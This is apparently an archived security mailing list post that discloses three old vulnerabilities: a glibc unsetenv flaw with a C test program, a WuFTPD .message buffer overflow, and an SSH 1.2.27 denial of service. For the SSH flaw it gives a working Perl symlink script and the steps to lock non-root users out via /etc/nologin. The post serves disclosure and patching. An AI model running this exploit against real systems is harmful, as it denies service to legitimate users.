Here's a couple of reasons to upgrade packages. All of these have been reported to respective developers, and all but the sshd DOS attack have fixes. I'm not guaranteeing that exploits are possible for all of these, but they do look fairly dangerous. I'd originally sent a message with this info to Aleph One, but probably should have sent it to the list instead. - Glibc 2.1.1: o unsetenv() off-by-one error: The unsetenv function in glibc 2.1.1 suffers from a problem whereby when running through the environment variables, if the name of the variable being unset is present twice consecutively, the second is not destroyed. unsetenv is sometimes used by programs that depend on it clearing out variables for protection against evil environment variables. It appears as though this was found by someone else before I stumbled across it; glibc 2.1.2 should not be vulnerable. To see if your libc has the problem, compile and run the following program: #include <stdlib.h> #include <stdio.h> extern char **environ; int main() { char *env[] = { "bob=trash", "bob=uh-oh", NULL }; environ = env; printf("bob = %s\n", env[0]); unsetenv("bob"); printf("bob = %s\n", getenv("bob")); return 0; } If the output isn't "bob = (null)", unsetenv() isn't doing its job. (also note that not all libc's support unsetenv, or even the environ variable, so this may not compile/link on many non-glibc systems). - WuFTPD 2.5.0: o .message file buffer overflow WuFTPD when processing a .message file will read in a buffer, 255 bytes at a time, and process a number of % options (e.g. %H will cause the remote hostname to appear in the output message). The output buffer is only 1024 bytes long, so if the results from % options are longer than about 4-5 characters, it will overflow this buffer. Exploits for this would probably be difficult, as the input buffer is actually after the output buffer in memory, so it will overwrite the input buffer and keep copying the resulting contents in memory over and over until the top of memory is hit, causing a segfault. However, with some tricks (using % options that don't produce output for example) it may be able to stop the copying before this occurs. This was fixed in 2.6.0 - SSH 1.2.27 DOS: o SSH has the option of setting up "authentication sockets", used to pass authentication keys securely. When this is used, a socket is created on both client and server machines; the socket created on the server uses an often easy to guess filename (based on the PID)... The creation of this socket is done while the server is acting as root and does follow symlinks. exploit: - connect to remote machine - run following script (creates symlinks for the next 50 PID's): #!/usr/bin/perl $pid = $$; $whoami = `whoami`; chop($whoami); mkdir("/tmp/ssh-$whoami", 0700); for ($i = $pid; $i < $pid+50; $i++) { symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent"); } - on local machine, execute ssh-agent1; it will produce a few lines to cut and paste into your shell. Do so. - ssh1 to the remote machine; enter password The socket will have been created at /etc/nologin, preventing other non-root users from logging in. This connection too will die with "Logins are currently denied by /etc/nologin:" This was tested on a RedHat 6.0 machine, with standard configure/make/install installation of ssh. This script should work pretty well for systems that create processes where each PID is one greater than the last; other platforms may require modifications, or many many more links, if they're exploitable. I sent this info in to the ssh folks a while ago and they were looking into it; haven't heard from them in over a week though. -Tymm
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:04:29 PDT